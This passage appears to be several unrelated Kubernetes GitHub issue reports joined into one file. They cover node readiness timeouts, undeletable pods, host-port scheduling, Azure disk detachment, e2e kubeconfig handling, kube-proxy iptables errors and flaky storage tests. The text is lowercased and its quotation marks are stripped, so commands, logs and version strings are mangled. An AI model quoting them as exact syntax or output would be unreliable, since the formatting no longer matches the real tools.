02:35:57.115471       1 endpoints_controller.go:338  finished syncing service \ kube-system/kubernetes-dashboard\  endpoints.  10.285392ms \r i0322 02:35:57.115757       1 endpoints_controller.go:338  finished syncing service \ gobrpxio/gobrpxio\  endpoints.  17.644516ms \r i0322 02:35:57.123492       1 endpoints_controller.go:338  finished syncing service \ tvifttt/tvifttt\  endpoints.  15.700531ms \r i0322 02:35:57.123792       1 endpoints_controller.go:338  finished syncing service \ nginx-ingress/nginx\  endpoints.  8.58929ms \r i0322 02:35:57.124067       1 endpoints_controller.go:338  finished syncing service \ raster/raster\  endpoints.  8.272004ms \r i0322 02:35:57.125199       1 endpoints_controller.go:338  finished syncing service \ kube-system/kube-dns\  endpoints.  10.372793ms \r i0322 02:35:57.125961       1 endpoints_controller.go:338  finished syncing service \ probelyapp-staging/probelyapp\  endpoints.  10.440307ms \r i0322 02:35:57.126616       1 endpoints_controller.go:338  finished syncing service \ nginx-ingress/default-http-backend\  endpoints.  3.044294ms \r i0322 02:35:57.126671       1 endpoints_controller.go:338  finished syncing service \ default/kubernetes\  endpoints.  1.293µs \r i0322 02:35:57.127139       1 endpoints_controller.go:338  finished syncing service \ nosslack/nosslack\  endpoints.  3.027092ms \r i0322 02:35:57.133203       1 endpoints_controller.go:338  finished syncing service \ raster/redis-master\  endpoints.  9.374898ms \r i0322 02:35:57.133581       1 endpoints_controller.go:338  finished syncing service \ probelyapp/probelyapp\  endpoints.  8.277871ms \r i0322 02:35:57.133920       1 endpoints_controller.go:338  finished syncing service \ cathode/cathode\  endpoints.  7.910074ms \r i0322 02:35:57.265600       1 leaderelection.go:203  succesfully renewed lease kube-system/kube-controller-manager\r i0322 02:35:57.797416       1 gc_controller.go:175  gc'ing orphaned\r i0322 02:35:57.797532       1 gc_controller.go:195  gc'ing unscheduled pods which are terminating.\r i0322 02:35:59.345887       1 leaderelection.go:203  succesfully renewed lease kube-system/kube-controller-manager\r i0322 02:36:01.379773       1 leaderelection.go:203  succesfully renewed lease kube-system/kube-controller-manager\r i0322 02:36:03.463614       1 leaderelection.go:203  succesfully renewed lease kube-system/kube-controller-manager\r i0322 02:36:05.595912       1 leaderelection.go:203  succesfully renewed lease kube-system/kube-controller-manager\r i0322 02:36:06.176893       1 reflector.go:273  pkg/controller/resourcequota/resource_quota_controller.go:229: forcing resync\r i0322 02:36:06.184813       1 resource_quota_controller.go:153  resource quota controller queued all resource quota for full calculation of usage\r i0322 02:36:06.485604       1 reflector.go:273  pkg/controller/namespace/namespace_controller.go:212: forcing resync\r i0322 02:36:07.013565       1 reflector.go:273  pkg/controller/service/servicecontroller.go:174: forcing resync\r i0322 02:36:07.246974       1 reflector.go:273  pkg/controller/disruption/disruption.go:326: forcing resync\r i0322 02:36:07.247006       1 reflector.go:273  pkg/controller/podautoscaler/horizontal.go:133: forcing resync\r i0322 02:36:07.247013       1 reflector.go:273  pkg/controller/disruption/disruption.go:324: forcing resync\r i0322 02:36:07.565950       1 reflector.go:273  pkg/controller/petset/pet_set.go:148: forcing resync\r i0322 02:36:07.734745       1 leaderelection.go:203  succesfully renewed lease kube-system/kube-controller-manager\r i0322 02:36:07.913692       1 reflector.go:273  pkg/controller/informers/factory.go:89: forcing resync\r i0322 02:36:07.914049       1 deployment_controller.go:154  updating deployment tvifttt-interface\r i0322 02:36:07.914095       1 deployment_controller.go:154  updating deployment nosslack\r i0322 02:36:07.916338       1 deployment_controller.go:313  finished syncing deployment \ tvifttt/tvifttt-interface\   2.208096ms \r i0322 02:36:07.918029       1 deployment_controller.go:313  finished syncing deployment \ nosslack/nosslack\   1.633283ms \r i0322 02:36:07.918077       1 deployment_controller.go:154  updating deployment tv-directory\r i0322 02:36:07.918099       1 deployment_controller.go:154  updating deployment kube-dns-v20\r i0322 02:36:07.918904       1 deployment_controller.go:313  finished syncing deployment \ tv-directory/tv-directory\   785.707µs \r i0322 02:36:07.920108       1 deployment_controller.go:313  finished syncing deployment \ kube-system/kube-dns-v20\   1.15902ms \r i0322 02:36:07.920160       1 deployment_controller.go:154  updating deployment pixelscamp\r i0322 02:36:07.920183       1 deployment_controller.go:154  updating deployment nosslackbot\r i0322 02:36:07.920998       1 deployment_controller.go:313  finished syncing deployment \ pixelscamp/pixelscamp\   785.307µs \r i0322 02:36:07.927939       1 deployment_controller.go:313  finished syncing deployment \ nosslack/nosslackbot\   6.89615ms \r i0322 02:36:07.928370       1 deployment_controller.go:154  updating deployment roamersapp\r i0322 02:36:07.928412       1 deployment_controller.go:154  updating deployment probelyapp\r i0322 02:36:07.930166       1 deployment_controller.go:313  finished syncing deployment \ roamersapp/roamersapp\   1.732833ms \r i0322 02:36:07.931101       1 deployment_controller.go:313  finished syncing deployment \ probelyapp/probelyapp\   869.765µs \r i0322 02:36:07.931145       1 deployment_controller.go:154  updating deployment tvifttt\r i0322 02:36:07.931165       1 deployment_controller.go:154  updating deployment cathode\r i0322 02:36:07.958935       1 deployment_controller.go:313  finished syncing deployment \ cathode/cathode\   11.43338ms \r i0322 02:36:07.959052       1 deployment_controller.go:154  updating deployment gustave\r i0322 02:36:07.959138       1 deployment_controller.go:154  updating deployment default-http-backend\r i0322 02:36:07.967064       1 deployment_controller.go:313  finished syncing deployment \ gustave/gustave\   7.875261ms \r i0322 02:36:07.967862       1 deployment_controller.go:313  finished syncing deployment \ nginx-ingress/default-http-backend\   564.318µs \r i0322 02:36:07.967928       1 deployment_controller.go:154  updating deployment redis-master\r i0322 02:36:07.967951       1 deployment_controller.go:154  updating deployment trendex\r i0322 02:36:07.968577       1 deployment_controller.go:313  finished syncing deployment \ raster/redis-master\   593.303µs \r i0322 02:36:07.969519       1 deployment_controller.go:313  finished syncing deployment \ trendex/trendex\   897.351µs \r i0322 02:36:07.969568       1 deployment_controller.go:154  updating deployment kubernetes-dashboard\r i0322 02:36:07.969590       1 deployment_controller.go:154  updating deployment tviftttapp\r i0322 02:36:07.970190       1 deployment_controller.go:313  finished syncing deployment \ kube-system/kubernetes-dashboard\   580.909µs \r i0322 02:36:07.987186       1 deployment_controller.go:313  finished syncing deployment \ tvifttt/tviftttapp\   16.95312ms \r i0322 02:36:07.987283       1 deployment_controller.go:154  updating deployment elpixel\r i0322 02:36:07.987335       1 deployment_controller.go:154  updating deployment nginx\r i0322 02:36:07.988266       1 deployment_controller.go:313  finished syncing deployment \ elpixel/elpixel\   900.75µs \r i0322 02:36:07.988941       1 deployment_controller.go:313  finished syncing deployment \ nginx-ingress/nginx\   629.385µs \r i0322 02:36:07.988995       1 deployment_controller.go:154  updating deployment gobrpxio\r i0322 02:36:07.989014       1 deployment_controller.go:154  updating deployment probelyapp\r i0322 02:36:07.990094       1 deployment_controller.go:313  finished syncing deployment \ gobrpxio/gobrpxio\   1.063468ms \r i0322 02:36:08.005891       1 deployment_controller.go:313  finished syncing deployment \ probelyapp-staging/probelyapp\   15.75485ms \r i0322 02:36:08.005946       1 deployment_controller.go:154  updating deployment tvifttt-delay\r i0322 02:36:08.005969       1 deployment_controller.go:154  updating deployment bitshopping\r i0322 02:36:08.007987       1 deployment_controller.go:313  finished syncing deployment \ tvifttt/tvifttt-delay\   1.986384ms \r i0322 02:36:08.008999       1 deployment_controller.go:313  finished syncing deployment \ bitshopping/bitshopping\   964.6µs \r i0322 02:36:08.009048       1 deployment_controller.go:154  updating deployment worten-ac-simulator\r i0322 02:36:08.009070       1 deployment_controller.go:154  updating deployment raster\r i0322 02:36:08.016803       1 deployment_controller.go:313  finished syncing deployment \ worten-ac-simulator/worten-ac-simulator\   7.713193ms \r i0322 02:36:08.018476       1 deployment_controller.go:313  finished syncing deployment \ raster/raster\   1.619805ms \r i0322 02:36:08.018542       1 deployment_controller.go:154  updating deployment kube-lego\r i0322 02:36:08.019279       1 deployment_controller.go:313  finished syncing deployment \ kube-lego/kube-lego\   699.001µs \r i0322 02:36:08.047248       1 deployment_controller.go:313  finished syncing deployment \ tvifttt/tvifttt\   116.059963ms \r i0322 02:36:08.309727       1 reflector.go:273  pkg/controller/disruption/disruption.go:328: forcing resync\r i0322 02:36:08.310259       1 reflector.go:273  pkg/controller/disruption/disruption.go:329: forcing resync\r i0322 02:36:09.093723       1 reflector.go:273  pkg/controller/disruption/disruption.go:327: forcing resync\r i0322 02:36:09.149389       1 reflector.go:273  pkg/controller/volume/persistentvolume/pv_controller_base.go:454: forcing resync\r i0322 02:36:09.149436       1 reflector.go:273  pkg/controller/volume/persistentvolume/pv_controller_base.go:455: forcing resync\r i0322 02:36:09.150118       1 reflector.go:273  pkg/controller/volume/persistentvolume/pv_controller_base.go:159: forcing resync\r i0322 02:36:09.758741       1 leaderelection.go:203  succesfully renewed lease kube-system/kube-controller-manager\r i0322 02:36:10.898701       1 reflector.go:392  pkg/controller/volume/persistentvolume/pv_controller_base.go:455: watch close -  api.persistentvolumeclaim total 0 items received\r i0322 02:36:11.521060       1 namespace_controller.go:206  finished syncing namespace \ default\   596ns \r i0322 02:36:11.521174       1 namespace_controller.go:206  finished syncing namespace \ roamersapp\   298ns \r i0322 02:36:11.521213       1 namespace_controller.go:206  finished syncing namespace \ worten-ac-simulator\   198ns \r i0322 02:36:11.521233       1 namespace_controller.go:206  finished syncing namespace \ gustave\   199ns \r i0322 02:36:11.521269       1 namespace_controller.go:206  finished syncing namespace \ kube-lego\   199ns \r i0322 02:36:11.521289       1 namespace_controller.go:206  finished syncing namespace \ tv-directory\   198ns \r i0322 02:36:11.521306       1 namespace_controller.go:206  finished syncing namespace \ pixelscamp\   198ns \r i0322 02:36:11.521322       1 namespace_controller.go:206  finished syncing namespace \ bitshopping\   198ns \r i0322 02:36:11.521356       1 namespace_controller.go:206  finished syncing namespace \ trendex\   100ns \r i0322 02:36:11.521375       1 namespace_controller.go:206  finished syncing namespace \ tvifttt\   199ns \r i0322 02:36:11.521391       1 namespace_controller.go:206  finished syncing namespace \ kube-system\   99ns \r i0322 02:36:11.521421       1 namespace_controller.go:206  finished syncing namespace \ elpixel\   199ns \r i0322 02:36:11.521439       1 namespace_controller.go:206  finished syncing namespace \ probelyapp-staging\   199ns \r i0322 02:36:11.521456       1 namespace_controller.go:206  finished syncing namespace \ nginx-ingress\   198ns \r i0322 02:36:11.521472       1 namespace_controller.go:206  finished syncing namespace \ raster\   199ns \r i0322 02:36:11.521501       1 namespace_controller.go:206  finished syncing namespace \ cathode\   199ns \r i0322 02:36:11.521518       1 namespace_controller.go:206  finished syncing namespace \ gobrpxio\   199ns \r i0322 02:36:11.521534       1 namespace_controller.go:206  finished syncing namespace \ probelyapp\   199ns \r i0322 02:36:11.521550       1 namespace_controller.go:206  finished syncing namespace \ nosslack\   199ns \r i0322 02:36:11.809629       1 leaderelection.go:203  succesfully renewed lease kube-system/kube-controller-manager\r i0322 02:36:13.899391       1 leaderelection.go:203  succesfully renewed lease kube-system/kube-controller-manager\r i0322 02:36:15.927454       1 leaderelection.go:203  succesfully renewed lease kube-system/kube-controller-manager\r i0322 02:36:17.371577       1 attach_detach_controller.go:540  processvolumesinuse for node \ node-3-vm\ \r i0322 02:36:17.938641       1 gc_controller.go:175  gc'ing orphaned\r i0322 02:36:17.938682       1 gc_controller.go:195  gc'ing unscheduled pods which are terminating.\r i0322 02:36:17.985692       1 leaderelection.go:203  succesfully renewed lease kube-system/kube-controller-manager\r i0322 02:36:18.106790       1 attach_detach_controller.go:540  processvolumesinuse for node \ node-0-vm\ \r i0322 02:36:19.006722       1 reflector.go:392  pkg/controller/volume/persistentvolume/pv_controller_base.go:159: watch close -  storage.storageclass total 0 items received\r i0322 02:36:19.525498       1 attach_detach_controller.go:540  processvolumesinuse for node \ master-0-vm\ \r i0322 02:36:19.738858       1 nodecontroller.go:738  node node-4-vm hasn't been updated for 40.298744291s. last ready condition is: {type:ready status:true lastheartbeattime:2017-03-22 02:35:34 +0000 utc lasttransitiontime:2017-03-20 09:52:57 +0000 utc reason:kubeletready message:kubelet is posting ready status}\r i0322 02:36:19.738976       1 nodecontroller.go:765  node node-4-vm hasn't been updated for 40.29886588s. last out of disk condition is: &{type:outofdisk status:false lastheartbeattime:2017-03-22 02:35:34 +0000 utc lasttransitiontime:2017-03-20 09:52:57 +0000 utc reason:kubelethassufficientdisk message:kubelet has sufficient disk space available}\r    \r \r relevant example lines:\r \r    \r i0322 02:35:39.440085       1 nodecontroller.go:713  node node-4-vm readycondition updated. updating timestamp.\r i0322 02:36:19.738858       1 nodecontroller.go:738  node node-4-vm hasn't been updated for 40.298744291s. last ready condition is: {type:ready status:true lastheartbeattime:2017-03-22 02:35:34 +0000 utc lasttransitiontime:2017-03-20 09:52:57 +0000 utc reason:kubeletready message:kubelet is posting ready status}\r    \r \r node-4-vm kubelet:\r    \r mar 22 02:35:40 node-4-vm kubelet-wrapper 996 : i0322 02:35:40.349624     996 operation_executor.go:917  mountvolume.setup succeeded for volume \ kubernetes.io/secret/99a2bd45-0da7-11e7-9a8a-000d3a2709aa-default-token-k195j\   spec.name: \ default-token-k195j\   pod \ 99a2bd45-0da7-11e7-9a8a-000d3a2709aa\   uid: \ 99a2bd45-0da7-11e7-9a8a-000d3a2709aa\  .\r mar 22 02:35:40 node-4-vm kubelet-wrapper 996 : i0322 02:35:40.349755     996 operation_executor.go:917  mountvolume.setup succeeded for volume \ kubernetes.io/secret/d90c7bb4-0dab-11e7-9a8a-000d3a2709aa-default-token-2bkr0\   spec.name: \ default-token-2bkr0\   pod \ d90c7bb4-0dab-11e7-9a8a-000d3a2709aa\   uid: \ d90c7bb4-0dab-11e7-9a8a-000d3a2709aa\  .\r mar 22 02:35:42 node-4-vm kubelet-wrapper 996 : i0322 02:35:42.356358     996 operation_executor.go:917  mountvolume.setup succeeded for volume \ kubernetes.io/secret/fdfc2d54-d0f2-11e6-b156-000d3a2709aa-default-token-7ffjg\   spec.name: \ default-token-7ffjg\   pod \ fdfc2d54-d0f2-11e6-b156-000d3a2709aa\   uid: \ fdfc2d54-d0f2-11e6-b156-000d3a2709aa\  .\r mar 22 02:35:42 node-4-vm kubelet-wrapper 996 : i0322 02:35:42.358097     996 operation_executor.go:917  mountvolume.setup succeeded for volume \ kubernetes.io/configmap/fdfc2d54-d0f2-11e6-b156-000d3a2709aa-config-volume\   spec.name: \ config-volume\   pod \ fdfc2d54-d0f2-11e6-b156-000d3a2709aa\   uid: \ fdfc2d54-d0f2-11e6-b156-000d3a2709aa\  .\r mar 22 02:36:39 node-4-vm kubelet-wrapper 996 : e0322 02:36:39.085953     996 kubelet_node_status.go:302  error updating node status, will retry: operation cannot be fulfilled on nodes \ node-4-vm\ : the object has been modified; please apply your changes to the latest version and try again\r    \r \r that kubelet error seems to indicate that it had been updating the node status correctly but someone else updated the value meanwhile at that time  the controller manager . i don't see any other relevant info in the logs of the kubelets, api server, or etcd nodes. since several nodes were marked as not ready at the same time, it appears to be something wrong on the controller manager itself.\r \r i did not change the default values of 10s for kubelets to update their node status and 40s for the controller to wait for these updates.

this blocking presubmit has been failing since ~5p pst.\r sig-federation is debugging.\r \r see https://kubernetes.slack.com/archives/c09qz4dqb/p1496378395296515 for more details\r \r @kubernetes/sig-federation-test-failures \r /assign @csbell @shashidharatd

series of events that happened:\r - i started a k8s cluster and it went fine except 2 nodes which never ever successfully started  failed to start docker daemon due to some image layer corrupted \r - created a namespace and started a daemonset in that namespace\r - all except the 2 pods which were scheduled on the unready nodes ran successfully. those 2 pods were shown with status 'unknown'  as expected .\r - then i deleted the namespace  which in turn deleted the daemonset and the deletion was successful .\r - however the namespace was eternally showing 'terminating' status and when i checked the only resources left to be deleted in it were those 2 pods.\r - i manually deleted the 2 pods and it said that the pods were deleted. and i did this multiple times, each time it said it succeeded  even saw http 200 from the apiserver logs for the delete call  but...\r - when i checked, they were still present and nothing changed at all -\r \r    \r $ kubectl get pods -n logexporter\r name                ready     status    restarts   age\r logexporter-4hzsd   0/1       unknown   0          2h\r logexporter-fwhgj   0/1       unknown   0          2h\r    \r \r from the apiserver logs for one of the pods:\r \r    \r $ grep \ logexporter-4hzsd\  kube-apiserver.log\r i0728 16:39:47.131332       9 wrap.go:42  put /api/v1/namespaces/logexporter/pods/logexporter-4hzsd/status:  3.505165ms  200   kube-controller-manager/v1.8.0  linux/amd64  kubernetes/3d3d392/system:serviceaccount:kube-system:node-controller   ::1 :37404 \r i0728 16:40:47.373834       9 wrap.go:42  get /api/v1/namespaces/logexporter/pods/logexporter-4hzsd:  1.358414ms  200   kubectl/v1.7.0  linux/amd64  kubernetes/d3ada01  35.184.31.71:49831 \r i0728 16:42:39.178875       9 wrap.go:42  get /api/v1/namespaces/logexporter/pods/logexporter-4hzsd:  945.163µs  200   kubectl/v1.7.0  linux/amd64  kubernetes/d3ada01  35.184.31.71:52992 \r i0728 16:42:39.217900       9 wrap.go:42  delete /api/v1/namespaces/logexporter/pods/logexporter-4hzsd:  1.139879ms  200   kubectl/v1.7.0  linux/amd64  kubernetes/d3ada01  35.184.31.71:52992 \r i0728 16:43:07.796880       9 wrap.go:42  get /api/v1/namespaces/logexporter/pods/logexporter-4hzsd:  914.097µs  200   kubectl/v1.7.0  linux/amd64  kubernetes/d3ada01  35.184.31.71:53839 \r i0728 16:43:07.835623       9 wrap.go:42  delete /api/v1/namespaces/logexporter/pods/logexporter-4hzsd:  1.145833ms  200   kubectl/v1.7.0  linux/amd64  kubernetes/d3ada01  35.184.31.71:53839 \r i0728 16:43:53.114233       9 wrap.go:42  get /api/v1/namespaces/logexporter/pods/logexporter-4hzsd:  987.543µs  200   kubectl/v1.7.0  linux/amd64  kubernetes/d3ada01  35.184.31.71:55137 \r i0728 16:43:53.152839       9 wrap.go:42  delete /api/v1/namespaces/logexporter/pods/logexporter-4hzsd:  1.030931ms  200   kubectl/v1.7.0  linux/amd64  kubernetes/d3ada01  35.184.31.71:55137 \r i0728 16:43:57.052554       9 wrap.go:42  get /api/v1/namespaces/logexporter/pods/logexporter-4hzsd:  1.077689ms  200   kubectl/v1.7.0  linux/amd64  kubernetes/d3ada01  35.184.31.71:55260 \r i0728 16:43:57.092074       9 wrap.go:42  delete /api/v1/namespaces/logexporter/pods/logexporter-4hzsd:  1.455065ms  200   kubectl/v1.7.0  linux/amd64  kubernetes/d3ada01  35.184.31.71:55260 \r    \r \r the put i guess is from the daemonset-controller setting the pod status to 'terminating'  which did succeed and i verified it with  kubectl describe pod  . the subsequent gets / deletes were my attempts trying to delete the pod.\r \r as a result of all this i could never ever delete the namespace  and hence could not restart some stuff i wanted to, in that namespace .\r \r cc @kubernetes/sig-apps-bugs  i guess the most relevant sig \r cc @davidopp @gmarek  because i expected node-controller to do stuff for pods scheduled on such nodes

 \r hi\r i've posted pr few months ago  39369 - regarding validating against combination of hostport:protocol:hostip.\r it seems that something similar is back, this time with predicates.\r \r the issue is in  plugin/pkg/scheduler/algorithm/predicates/predicates.go  in  podfitshostports:880  - it checks only for ports and not for ips they listen on.\r \r i will try to get pr for this but not if it will be soon.\r \r basically: one pod should be able to listen on:\r 10.1.1.1:8080\r 10.1.1.2:8080\r \r right now it gets denied with podfitshostports error.\r it was working back in 1.5 or whichever release was in february this year. it seems to have been broken around 1.7.0 release based on git blame.\r \r ashley

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r   \r   what happened  :\r failed to dettach azure disk in vm when disk atttachment failed\r \r   what you expected to happen  :\r even disk attach failed, when i delete the pod with azure disk, it still should succeed\r \r   how to reproduce it  as minimally and precisely as possible   :\r 1. create an unmanaged azure disk pvc\r 2. create a pod with that pvc in a managed vm pool, disk attachment will fail\r 3. delete the pod\r 4. unmanaged azure disk should be removed in vm after pod deletion, while it won't\r \r   anything else we need to know?  :\r some logs from controller-manager:\r    \r i1218 06:44:42.979277       1 reconciler.go:226  starting attacherdetacher.detachvolume for volume \ pvc-a764cae1-e3bc-11e7-bfd8-000d3a04f583\   uniquename: \ kubernetes.io/azure-disk//subscriptions/4be8920b-2978-43d7-ab14-04d8549c1d05/resourcegroups/andy-mg182/providers/microsoft.compute/disks/andy-mg182-dynamic-pvc-a764cae1-e3bc-11e7-bfd8-000d3a04f583\   on node \ k8s-agentpool2-34478884-0\ \r i1218 06:44:42.979301       1 reconciler.go:258  volume attached--touching for volume \ pvc-3fcb9ffc-cebc-11e7-8740-000d3a04f583\   uniquename: \ kubernetes.io/azure-disk//subscriptions/4be8920b-2978-43d7-ab14-04d8549c1d05/resourcegroups/andy-mg182/providers/microsoft.compute/disks/andy-mg182-dynamic-pvc-3fcb9ffc-cebc-11e7-8740-000d3a04f583\   from node \ k8s-agentpool2-34478884-0\ \r i1218 06:44:43.079445       1 reconciler.go:210  removevolumefromreportasattached failed while removing volume \ kubernetes.io/azure-disk//subscriptions/4be8920b-2978-43d7-ab14-04d8549c1d05/resourcegroups/andy-mg182/providers/microsoft.compute/disks/andy-mgrdisktest\  from node \ k8s-agentpool2-34478884-0\  with: volume \ kubernetes.io/azure-disk//subscriptions/4be8920b-2978-43d7-ab14-04d8549c1d05/resourcegroups/andy-mg182/providers/microsoft.compute/disks/andy-mgrdisktest\  does not exist in volumestoreportasattached list or node \ k8s-agentpool2-34478884-0\  does not exist in nodestoupdatestatusfor list\r i1218 06:44:43.079509       1 reconciler.go:226  starting attacherdetacher.detachvolume for volume \ azure\   uniquename: \ kubernetes.io/azure-disk//subscriptions/4be8920b-2978-43d7-ab14-04d8549c1d05/resourcegroups/andy-mg182/providers/microsoft.compute/disks/andy-mgrdisktest\   on node \ k8s-agentpool2-34478884-0\ \r i1218 06:44:43.079547       1 reconciler.go:210  removevolumefromreportasattached failed while removing volume \ kubernetes.io/azure-disk//subscriptions/4be8920b-2978-43d7-ab14-04d8549c1d05/resourcegroups/andy-mg182/providers/microsoft.compute/disks/andy-mg182-dynamic-pvc-a764cae1-e3bc-11e7-bfd8-000d3a04f583\  from node \ k8s-agentpool2-34478884-0\  with: volume \ kubernetes.io/azure-disk//subscriptions/4be8920b-2978-43d7-ab14-04d8549c1d05/resourcegroups/andy-mg182/providers/microsoft.compute/disks/andy-mg182-dynamic-pvc-a764cae1-e3bc-11e7-bfd8-000d3a04f583\  does not exist in volumestoreportasattached list or node \ k8s-agentpool2-34478884-0\  does not exist in nodestoupdatestatusfor list\r    \r \r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.10.0\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r /assign\r 

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r bug\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r running  e2.test  like:\r \r _output/dockerized/bin/linux/amd64/e2e.test --federated-kube-context myfed -ginkgo.focus=\ \\ feature:federation\\ .features.preferences\  --provider=azure-azuredns \r \r with the kubeconfig variable set to merge multiple configs:\r    \r echo $kubeconfig \r /home/user/config.east:/home/user/config.west:/home/user/config.sc \r    \r  e2e.go  fails trying to access kubeconfig because it doesn't merge the configs:\r \r    \r $ _output/dockerized/bin/linux/amd64/e2e.test --federated-kube-context myfed -ginkgo.focus=\ \\ feature:federation\\ .features.preferences\  --provider=azure-azuredns \r \r i0228 16:53:32.287730   76235 e2e.go:371  starting e2e run \ e89d4a89-1ca7-11e8-98e9-00224807a81e\  on ginkgo node 1 \r \r running suite: kubernetes e2e suite \r \r =================================== \r \r random seed: 1519836812 - will randomize all specs \r \r will run 3 of 190 specs \r \r feb 28 16:53:32.294: info: >>> kubeconfig: /home/user/config.east:/home/user/config.west:/home/user/config.sc \r \r f0228 16:53:32.294621   76235 e2e.go:152  error loading client: error creating client: error loading kubeconfig: open /home/user/config.east:/home/user/config.west:/home/user/config.sc: no such file or directory \r    \r \r   what you expected to happen  :\r e2e merges the configs in the kubeconfig environment variable the same way  kubectl  does.\r  \r   how to reproduce it  as minimally and precisely as possible   :\r - have multiple valid config files  /home/user/config.east',  /home/user/config.west',  /home/user/config.sc'\r - define  kubeconfig  environment variable to merge the configs\r    \r export kubeconfig=/home/user/config.east:/home/user/config.west:/home/user/config.sc\r    \r - run  e2e.go  without the  --kubeconfig  parameter to pick  up configuration from the environment\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r \r    \r $ kubectl version\r client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.0\ , gitcommit:\ 925c127ec6b946659ad0fd596fa959be43f0cc05\ , gittreestate:\ clean\ , builddate:\ 2017-12-15t21:07:38z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ \ , minor:\ \ , gitversion:\ v0.0.0-master+$format:%h$\ , gitcommit:\ $format:%h$\ , gittreestate:\ not a git tree\ , builddate:\ 1970-01-01t00:00:00z\ , goversion:\ go1.9.1\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r - cloud provider or hardware configuration:\r azure\r - os  e.g. from /etc/os-release :\r    \r $ cat /etc/os-release\r name=\ ubuntu\ \r version=\ 16.04.3 lts  xenial xerus \ \r    \r \r - kernel  e.g.  uname -a  :\r    \r $ uname -a\r linux fedbuild 4.13.0-1005-azure  7-ubuntu smp mon jan 8 21:37:36 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r    \r - install tools:\r - others:\r

i meet the question.\r \r i build k8s by kubeadm. \r then i use kubectl logs kube-proxy -n kube-system. \r i get the failed message.\r \r failed to ensure that filter chain input jumps to kube-external-services: error appending rule: exit status 1: iptables: no chain/target/match by that name.\r \r \r \r   environment  :\r - kubectl kubeadm kubelet  version is v1.10.4\r - hardware configuration:\r - os \r \r name=\ centos linux\ \r version=\ 7  core \ \r id=\ centos\ \r id_like=\ rhel fedora\ \r version_id=\ 7\ \r pretty_name=\ centos linux 7  core \ \r ansi_color=\ 0;31\ \r cpe_name=\ cpe:/o:centos:centos:7\ \r home_url=\ https://www.centos.org/\ \r bug_report_url=\ https://bugs.centos.org/\ \r \r centos_mantisbt_project=\ centos-7\ \r centos_mantisbt_project_version=\ 7\ \r redhat_support_product=\ centos\ \r redhat_support_product_version=\ 7\ \r \r - kernel :\r linux 3.10.0-693.11.1.el7.x86_64  1 smp mon dec 4 23:52:40 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r - install tools:\r kubeadm\r - others:\r \r

failing job:\r \r  sig-release-master-blocking gce-scale-correctness  https://k8s-testgrid.appspot.com/sig-release-master-blocking gce-scale-correctness \r \r these tests started flaking recently  they were consistently green for a long time :\r \r - mounted volume expand slow  should verify mounted devices can be resized\r - volume expand  slow  verify if editing pvc allows resize\r - subpath  volume type: gcepdpvc  should support restarting containers using file as subpath  slow \r - subpath  volume type: gcepdpvc  should fail for new directories when readonly specified in the volumesource\r - subpath  volume type: gcepdpvc  should fail if subpath with backstepping is outside the volume  slow \r - volumes pd should be mountable with ext4\r \r affected runs:\r \r - https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-scale-correctness/137\r - https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-scale-correctness/138\r - https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-scale-correctness/139\r \r   / /milestone v1.12\r /cc @tpepper @aishsundar @mohammedzee1000 \r \r @msau42 - could you ptal or delegate? thanks.

<!-- please only use this template for submitting reports about failing tests in kubernetes ci jobs -->\r \r   which jobs are failing  :\r ci-kubernetes-e2e-gci-gce-slow\r \r   which test s  are failing  :\r  sig-storage  persistentvolumes default storageclass pods that use multiple volumes should be reschedulable\r \r   since when has it been failing  :\r 3/26 pm\r \r   testgrid link  :\r https://k8s-testgrid.appspot.com/sig-storage-kubernetes gce-slow\r https://prow.k8s.io/view/gcs/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-slow/1110907626918514690\r \r   reason for failure  :\r probably related to https://github.com/kubernetes/kubernetes/pull/74693\r \r   anything else we need to know  :\r

https://console.cloud.google.com/storage/browser/kubernetes-jenkins/pr-logs/pull/26397/kubernetes-pull-test-unit-integration/28223/      --- fail: testwatchcontextcancel  0.26s      watcher_test.go:196: cancelling context shouldn't return any error. err: <nil>      cc @hongchaodeng

pr  39646 moved the federation's storage from etcd2 to etcd3. however, it just changed the image and made  etcd3  use  etcd2  as the storage backend. we still need to enable  etcd3  as a storage backend and also enable people with existing federation control plane deployments to migrate from  etcd2  to  etcd3 .\r \r follow up to issue  39594.\r \r cc @kubernetes/sig-federation-misc @nikhiljindal @shashidharatd

kubernetes version  : v1.6.2\r \r   what happened  : the fields of  container.resources.limits  and c  container.resources.requests  are not documented in  kubectl explain  output or the api reference documentation.\r \r https://kubernetes.io/docs/api-reference/v1.6/ resourcerequirements-v1-core as it can be seen here. the  limits  and  requests  are rendered as untyped _object_ and they do not have any fields defined:\r \r > ! image  https://cloud.githubusercontent.com/assets/159209/25642379/3f1be752-2f4e-11e7-86a8-c268bb9398d8.png \r \r \r   what you expected to happen  : expected to see types for these resource requirement specifications that have things like  cpu ,  memory  as fields.\r \r   how to reproduce it    as minimally and precisely as possible :\r \r    \r $ kubectl explain pods.spec.containers.resources.limits\r field: limits <object>\r \r description:\r      limits describes the maximum amount of compute resources allowed. more\r      info: http://kubernetes.io/docs/user-guide/compute-resources/\r    \r \r gives same output for \r -  kubectl explain pods.spec.containers.resources.cpu  or\r -  kubectl explain 